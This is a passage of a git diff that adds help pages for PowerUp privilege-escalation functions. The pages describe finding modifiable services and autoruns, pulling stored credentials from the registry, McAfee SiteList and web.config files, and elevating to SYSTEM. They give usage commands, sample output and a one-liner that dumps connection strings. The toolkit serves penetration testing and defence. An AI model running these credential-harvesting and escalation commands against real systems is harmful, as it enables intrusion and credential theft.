C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr + oups.xml + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html +https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb +http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html](http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html +https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 +https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb +http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html) + diff --git a/docs/Privesc/Get-ModifiablePath.md b/docs/Privesc/Get-ModifiablePath.md new file mode 100755 index 00000000..2a1118ff --- /dev/null +++ b/docs/Privesc/Get-ModifiablePath.md @@ -0,0 +1,102 @@ +# Get-ModifiablePath + +## SYNOPSIS +Parses a passed string containing multiple possible file/folder paths and returns +the file paths where the current user has modification rights. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-ModifiablePath [-Path] [-Literal] +``` + +## DESCRIPTION +Takes a complex path specification of an initial file/folder path with possible +configuration files, 'tokenizes' the string in a number of possible ways, and +enumerates the ACLs for each path that currently exists on the system. +Any path that +the current user has modification rights on is returned in a custom object that contains +the modifiable path, associated permission set, and the IdentityReference with the specified +rights. +The SID of the current user and any group he/she are a part of are used as the +comparison set against the parsed path DACLs. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +'"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath +``` + +Path Permissions IdentityReference +---- ----------- ----------------- +C:\Temp\blah.exe {ReadAttributes, ReadCo... +NT AUTHORITY\Authentic... +C:\Temp\config.ini {ReadAttributes, ReadCo... +NT AUTHORITY\Authentic... + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ChildItem C:\Vuln\ -Recurse | Get-ModifiablePath +``` + +Path Permissions IdentityReference +---- ----------- ----------------- +C:\Vuln\blah.bat {ReadAttributes, ReadCo... +NT AUTHORITY\Authentic... +C:\Vuln\config.ini {ReadAttributes, ReadCo... +NT AUTHORITY\Authentic... +... + +## PARAMETERS + +### -Path +The string path to parse for modifiable files. +Required + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: FullName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Literal +Switch. +Treat all paths as literal (i.e. +don't do 'tokenization'). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: LiteralPaths + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.TokenPrivilege.ModifiablePath + +Custom PSObject containing the Permissions, ModifiablePath, IdentityReference for +a modifiable path. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ModifiableRegistryAutoRun.md b/docs/Privesc/Get-ModifiableRegistryAutoRun.md new file mode 100755 index 00000000..23314f9d --- /dev/null +++ b/docs/Privesc/Get-ModifiableRegistryAutoRun.md @@ -0,0 +1,44 @@ +# Get-ModifiableRegistryAutoRun + +## SYNOPSIS +Returns any elevated system autoruns in which the current user can +modify part of the path string. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath + +## SYNTAX + +``` +Get-ModifiableRegistryAutoRun +``` + +## DESCRIPTION +Enumerates a number of autorun specifications in HKLM and filters any +autoruns through Get-ModifiablePath, returning any file/config locations +in the found path strings that the current user can modify. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ModifiableRegistryAutoRun +``` + +Return vulneable autorun binaries (or associated configs). + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.ModifiableRegistryAutoRun + +Custom PSObject containing results. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ModifiableScheduledTaskFile.md b/docs/Privesc/Get-ModifiableScheduledTaskFile.md new file mode 100755 index 00000000..4e48cc43 --- /dev/null +++ b/docs/Privesc/Get-ModifiableScheduledTaskFile.md @@ -0,0 +1,45 @@ +# Get-ModifiableScheduledTaskFile + +## SYNOPSIS +Returns scheduled tasks where the current user can modify any file +in the associated task action string. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath + +## SYNTAX + +``` +Get-ModifiableScheduledTaskFile +``` + +## DESCRIPTION +Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks" +and parses the XML specification for each task, extracting the command triggers. +Each trigger string is filtered through Get-ModifiablePath, returning any file/config +locations in the found path strings that the current user can modify. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ModifiableScheduledTaskFile +``` + +Return scheduled tasks with modifiable command strings. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.ModifiableScheduledTaskFile + +Custom PSObject containing results. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ModifiableService.md b/docs/Privesc/Get-ModifiableService.md new file mode 100755 index 00000000..92eeb81b --- /dev/null +++ b/docs/Privesc/Get-ModifiableService.md @@ -0,0 +1,40 @@ +# Get-ModifiableService + +## SYNOPSIS +Enumerates all services and returns services for which the current user can modify the binPath. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Test-ServiceDaclPermission, Get-ServiceDetail + +## SYNTAX + +``` +Get-ModifiableService +``` + +## DESCRIPTION +Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if +the current user has rights to change the service configuration. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ModifiableService +``` + +Get a set of potentially exploitable services. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.ModifiablePath + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ModifiableServiceFile.md b/docs/Privesc/Get-ModifiableServiceFile.md new file mode 100755 index 00000000..ab01e42d --- /dev/null +++ b/docs/Privesc/Get-ModifiableServiceFile.md @@ -0,0 +1,45 @@ +# Get-ModifiableServiceFile + +## SYNOPSIS +Enumerates all services and returns vulnerable service files. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Test-ServiceDaclPermission, Get-ModifiablePath + +## SYNTAX + +``` +Get-ModifiableServiceFile +``` + +## DESCRIPTION +Enumerates all services by querying the WMI win32_service class. +For each service, +it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine +if the current user has rights to modify the service binary itself or any associated +arguments. +If the associated binary (or any configuration files) can be overwritten, +privileges may be able to be escalated. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ModifiableServiceFile +``` + +Get a set of potentially exploitable service binares/config files. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.ModifiablePath + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ProcessTokenGroup.md b/docs/Privesc/Get-ProcessTokenGroup.md new file mode 100755 index 00000000..e52533c7 --- /dev/null +++ b/docs/Privesc/Get-ProcessTokenGroup.md @@ -0,0 +1,114 @@ +# Get-ProcessTokenGroup + +## SYNOPSIS +Returns all SIDs that the current token context is a part of, whether they are disabled or not. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation + +## SYNTAX + +``` +Get-ProcessTokenGroup [[-Id] ] +``` + +## DESCRIPTION +First, if a process ID is passed, then the process is opened using OpenProcess(), +otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process. +OpenProcessToken() is then used to get a handle to the specified process token. +The token +is then passed to Get-TokenInformation to query the current token groups for the specified +token. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ProcessTokenGroup +``` + +SID Attributes ProcessId +--- ---------- --------- +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-1-0 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-32-544 SE_GROUP_USE_FOR_DENY_ONLY 1372 +S-1-5-32-545 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-4 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-2-1 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-11 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-15 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-5-0-419601 ...SE_GROUP_INTEGRITY_ENABLED 1372 +S-1-2-0 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-18-1 ..._DEFAULT, SE_GROUP_ENABLED 1372 +S-1-16-8192 1372 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Process notepad | Get-ProcessTokenGroup +``` + +SID Attributes ProcessId +--- ---------- --------- +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-1-0 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-32-544 SE_GROUP_USE_FOR_DENY_ONLY 2640 +S-1-5-32-545 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-4 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-2-1 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-11 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-15 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-5-0-419601 ...SE_GROUP_INTEGRITY_ENABLED 2640 +S-1-2-0 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-5-21-890171859-3433809... +..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-18-1 ..._DEFAULT, SE_GROUP_ENABLED 2640 +S-1-16-8192 2640 + +## PARAMETERS + +### -Id +The process ID to enumerate token groups for, otherwise defaults to the current process. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: ProcessID + +Required: False +Position: 1 +Default value: 0 +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.TokenGroup + +Outputs a custom object containing the token group (SID/attributes) for the specified token if +"-InformationClass 'Groups'" is passed. + +PowerUp.TokenPrivilege + +Outputs a custom object containing the token privilege (name/attributes) for the specified token if +"-InformationClass 'Privileges'" is passed + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-ProcessTokenPrivilege.md b/docs/Privesc/Get-ProcessTokenPrivilege.md new file mode 100755 index 00000000..9f835f2c --- /dev/null +++ b/docs/Privesc/Get-ProcessTokenPrivilege.md @@ -0,0 +1,131 @@ +# Get-ProcessTokenPrivilege + +## SYNOPSIS +Returns all privileges for the current (or specified) process ID. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation + +## SYNTAX + +``` +Get-ProcessTokenPrivilege [[-Id] ] [-Special] +``` + +## DESCRIPTION +First, if a process ID is passed, then the process is opened using OpenProcess(), +otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process. +OpenProcessToken() is then used to get a handle to the specified process token. +The token +is then passed to Get-TokenInformation to query the current privileges for the specified +token. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ProcessTokenPrivilege +``` + +Privilege Attributes ProcessId + --------- ---------- --------- + SeShutdownPrivilege DISABLED 2600 + SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2600 + SeUndockPrivilege DISABLED 2600 +SeIncreaseWorkingSetPrivilege DISABLED 2600 + SeTimeZonePrivilege DISABLED 2600 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ProcessTokenPrivilege -Special +``` + +Privilege Attributes ProcessId +--------- ---------- --------- +SeSecurityPrivilege DISABLED 2444 +SeTakeOwnershipPrivilege DISABLED 2444 +SeBackupPrivilege DISABLED 2444 +SeRestorePrivilege DISABLED 2444 +SeSystemEnvironmentPriv... +DISABLED 2444 +SeImpersonatePrivilege ...T, SE_PRIVILEGE_ENABLED 2444 + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-Process notepad | Get-ProcessTokenPrivilege | fl +``` + +Privilege : SeShutdownPrivilege +Attributes : DISABLED +ProcessId : 2640 + +Privilege : SeChangeNotifyPrivilege +Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED +ProcessId : 2640 + +Privilege : SeUndockPrivilege +Attributes : DISABLED +ProcessId : 2640 + +Privilege : SeIncreaseWorkingSetPrivilege +Attributes : DISABLED +ProcessId : 2640 + +Privilege : SeTimeZonePrivilege +Attributes : DISABLED +ProcessId : 2640 + +## PARAMETERS + +### -Id +The process ID to enumerate token groups for, otherwise defaults to the current process. + +```yaml +Type: UInt32 +Parameter Sets: (All) +Aliases: ProcessID + +Required: False +Position: 1 +Default value: 0 +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Special +Switch. +Only return 'special' privileges, meaning admin-level privileges. +These include SeSecurityPrivilege, SeTakeOwnershipPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, +SeRestorePrivilege, SeDebugPrivilege, SeSystemEnvironmentPrivilege, SeImpersonatePrivilege, SeTcbPrivilege. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: Privileged + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.TokenGroup + +Outputs a custom object containing the token group (SID/attributes) for the specified token if +"-InformationClass 'Groups'" is passed. + +PowerUp.TokenPrivilege + +Outputs a custom object containing the token privilege (name/attributes) for the specified token if +"-InformationClass 'Privileges'" is passed + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-RegistryAlwaysInstallElevated.md b/docs/Privesc/Get-RegistryAlwaysInstallElevated.md new file mode 100755 index 00000000..ff48afc8 --- /dev/null +++ b/docs/Privesc/Get-RegistryAlwaysInstallElevated.md @@ -0,0 +1,45 @@ +# Get-RegistryAlwaysInstallElevated + +## SYNOPSIS +Checks if any of the AlwaysInstallElevated registry keys are set. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-RegistryAlwaysInstallElevated +``` + +## DESCRIPTION +Returns $True if the HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated +or the HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated keys +are set, $False otherwise. +If one of these keys are set, then all .MSI files run with +elevated permissions, regardless of current user permissions. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-RegistryAlwaysInstallElevated +``` + +Returns $True if any of the AlwaysInstallElevated registry keys are set. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### System.Boolean + +$True if RegistryAlwaysInstallElevated is set, $False otherwise. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-RegistryAutoLogon.md b/docs/Privesc/Get-RegistryAutoLogon.md new file mode 100755 index 00000000..b93e75ca --- /dev/null +++ b/docs/Privesc/Get-RegistryAutoLogon.md @@ -0,0 +1,44 @@ +# Get-RegistryAutoLogon + +## SYNOPSIS +Finds any autologon credentials left in the registry. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-RegistryAutoLogon +``` + +## DESCRIPTION +Checks if any autologon accounts/credentials are set in a number of registry locations. +If they are, the credentials are extracted and returned as a custom PSObject. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-RegistryAutoLogon +``` + +Finds any autologon credentials left in the registry. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.RegistryAutoLogon + +Custom PSObject containing autologin credentials found in the registry. + +## NOTES + +## RELATED LINKS + +[https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb) + diff --git a/docs/Privesc/Get-ServiceDetail.md b/docs/Privesc/Get-ServiceDetail.md new file mode 100755 index 00000000..ac758b01 --- /dev/null +++ b/docs/Privesc/Get-ServiceDetail.md @@ -0,0 +1,65 @@ +# Get-ServiceDetail + +## SYNOPSIS +Returns detailed information about a specified service by querying the +WMI win32_service class for the specified service name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-ServiceDetail [-Name] +``` + +## DESCRIPTION +Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on +the pipeline object returned by Get-Service, extracts out the service name, queries the +WMI win32_service class for the specified service for details like binPath, and outputs +everything. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ServiceDetail -Name VulnSVC +``` + +Gets detailed information about the 'VulnSVC' service. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service VulnSVC | Get-ServiceDetail +``` + +Gets detailed information about the 'VulnSVC' service. + +## PARAMETERS + +### -Name +An array of one or more service names to query information for. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.Management.ManagementObject + +## NOTES + +## RELATED LINKS + diff --git a/docs/Privesc/Get-SiteListPassword.md b/docs/Privesc/Get-SiteListPassword.md new file mode 100755 index 00000000..1ebbb5b2 --- /dev/null +++ b/docs/Privesc/Get-SiteListPassword.md @@ -0,0 +1,96 @@ +# Get-SiteListPassword + +## SYNOPSIS +Retrieves the plaintext passwords for found McAfee's SiteList.xml files. +Based on Jerome Nokin (@funoverip)'s Python solution (in links). + +Author: Jerome Nokin (@funoverip) +PowerShell Port: @harmj0y +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-SiteListPassword [[-Path] ] +``` + +## DESCRIPTION +Searches for any McAfee SiteList.xml in C:\Program Files\, C:\Program Files (x86)\, +C:\Documents and Settings\, or C:\Users\. +For any files found, the appropriate +credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword +function that takes advantage of McAfee's static key encryption. +Any decrypted credentials +are output in custom objects. +See links for more information. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-SiteListPassword +``` + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : +Path : Products/CommonUpdater +Name : McAfeeHttp +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : +Server : update.nai.com:80 + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : McAfeeService +Path : Repository$ +Name : Paris +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : companydomain +Server : paris001 + +EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== +UserName : McAfeeService +Path : Repository$ +Name : Tokyo +DecPassword : MyStrongPassword! +Enabled : 1 +DomainName : companydomain +Server : tokyo000 + +## PARAMETERS + +### -Path +Optional path to a SiteList.xml file or folder. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerUp.SiteListPassword + +## NOTES + +## RELATED LINKS + +[https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ +https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ +https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md +https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf](https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ +https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ +https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md +https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf) + diff --git a/docs/Privesc/Get-System.md b/docs/Privesc/Get-System.md new file mode 100755 index 00000000..bcaf3d68 --- /dev/null +++ b/docs/Privesc/Get-System.md @@ -0,0 +1,172 @@ +# Get-System + +## SYNOPSIS +GetSystem functionality inspired by Meterpreter's getsystem. +'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create +a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. +NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure +token duplication works correctly. + +PowerSploit Function: Get-System +Author: @harmj0y, @mattifestation +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### NamedPipe (Default) +``` +Get-System [-Technique ] [-ServiceName ] [-PipeName ] +``` + +### Token +``` +Get-System [-Technique ] +``` + +### RevToSelf +``` +Get-System [-RevToSelf] +``` + +### WhoAmI +``` +Get-System [-WhoAmI] +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-System +``` + +Uses named impersonate to elevate the current thread token to SYSTEM. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' +``` + +Uses named impersonate to elevate the current thread token to SYSTEM +with a custom service and pipe name. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-System -Technique Token +``` + +Uses token duplication to elevate the current thread token to SYSTEM. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-System -WhoAmI +``` + +Displays the credentials for the current thread. + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Get-System -RevToSelf +``` + +Reverts the current thread privileges. + +## PARAMETERS + +### -Technique +The technique to use, 'NamedPipe' or 'Token'. + +```yaml +Type: String +Parameter Sets: NamedPipe, Token +Aliases: + +Required: False +Position: Named +Default value: NamedPipe +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServiceName +The name of the service used with named pipe impersonation, defaults to 'TestSVC'. + +```yaml +Type: String +Parameter Sets: NamedPipe +Aliases: + +Required: False +Position: Named +Default value: TestSVC +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PipeName +The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. + +```yaml +Type: String +Parameter Sets: NamedPipe +Aliases: + +Required: False +Position: Named +Default value: TestSVC +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RevToSelf +Reverts the current thread privileges. + +```yaml +Type: SwitchParameter +Parameter Sets: RevToSelf +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -WhoAmI +Switch. +Display the credentials for the current PowerShell thread. + +```yaml +Type: SwitchParameter +Parameter Sets: WhoAmI +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c +https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot +http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ +http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/](https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c +https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot +http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ +http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/) + diff --git a/docs/Privesc/Get-UnattendedInstallFile.md b/docs/Privesc/Get-UnattendedInstallFile.md new file mode 100755 index 00000000..89275200 --- /dev/null +++ b/docs/Privesc/Get-UnattendedInstallFile.md @@ -0,0 +1,44 @@ +# Get-UnattendedInstallFile + +## SYNOPSIS +Checks several locations for remaining unattended installation files, +which may have deployment credentials. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-UnattendedInstallFile +``` + +## DESCRIPTION +{{Fill in the Description}} + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-UnattendedInstallFile +``` + +Finds any remaining unattended installation files. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.UnattendedInstallFile + +Custom PSObject containing results. + +## NOTES + +## RELATED LINKS + +[http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) + diff --git a/docs/Privesc/Get-UnquotedService.md b/docs/Privesc/Get-UnquotedService.md new file mode 100755 index 00000000..4b613557 --- /dev/null +++ b/docs/Privesc/Get-UnquotedService.md @@ -0,0 +1,45 @@ +# Get-UnquotedService + +## SYNOPSIS +Get-UnquotedService Returns the name and binary path for services with unquoted paths +that also have a space in the name. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission + +## SYNTAX + +``` +Get-UnquotedService +``` + +## DESCRIPTION +Uses Get-WmiObject to query all win32_service objects and extract out +the binary pathname for each. +Then checks if any binary paths have a space +and aren't quoted. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-UnquotedService +``` + +Get a set of potentially exploitable services. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.UnquotedService + +## NOTES + +## RELATED LINKS + +[https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb) + diff --git a/docs/Privesc/Get-WebConfig.md b/docs/Privesc/Get-WebConfig.md new file mode 100755 index 00000000..78cef7d1 --- /dev/null +++ b/docs/Privesc/Get-WebConfig.md @@ -0,0 +1,93 @@ +# Get-WebConfig + +## SYNOPSIS +This script will recover cleartext and encrypted connection strings from all web.config +files on the system. +Also, it will decrypt them if needed. + +Author: Scott Sutherland, Antti Rantasaari +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-WebConfig +``` + +## DESCRIPTION +This script will identify all of the web.config files on the system and recover the +connection strings used to support authentication to backend databases. +If needed, the +script will also decrypt the connection strings on the fly. +The output supports the +pipeline which can be used to convert all of the results into a pretty table by piping +to format-table. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Return a list of cleartext and decrypted connect strings from web.config files. +``` + +Get-WebConfig + +user : s1admin +pass : s1password +dbserv : 192.168.1.103\server1 +vdir : C:\test2 +path : C:\test2\web.config +encr : No + +user : s1user +pass : s1password +dbserv : 192.168.1.103\server1 +vdir : C:\inetpub\wwwroot +path : C:\inetpub\wwwroot\web.config +encr : Yes + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Return a list of clear text and decrypted connect strings from web.config files. +``` + +Get-WebConfig | Format-Table -Autosize + +user pass dbserv vdir path encr +---- ---- ------ ---- ---- ---- +s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No +s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No +s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No +s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes +s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### System.Boolean + +System.Data.DataTable + +## NOTES +Below is an alterantive method for grabbing connection strings, but it doesn't support decryption. +for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings + +Author: Scott Sutherland - 2014, NetSPI +Author: Antti Rantasaari - 2014, NetSPI + +## RELATED LINKS + +[https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx](https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +http://www.netspi.com +https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx +http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe +http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx) + diff --git 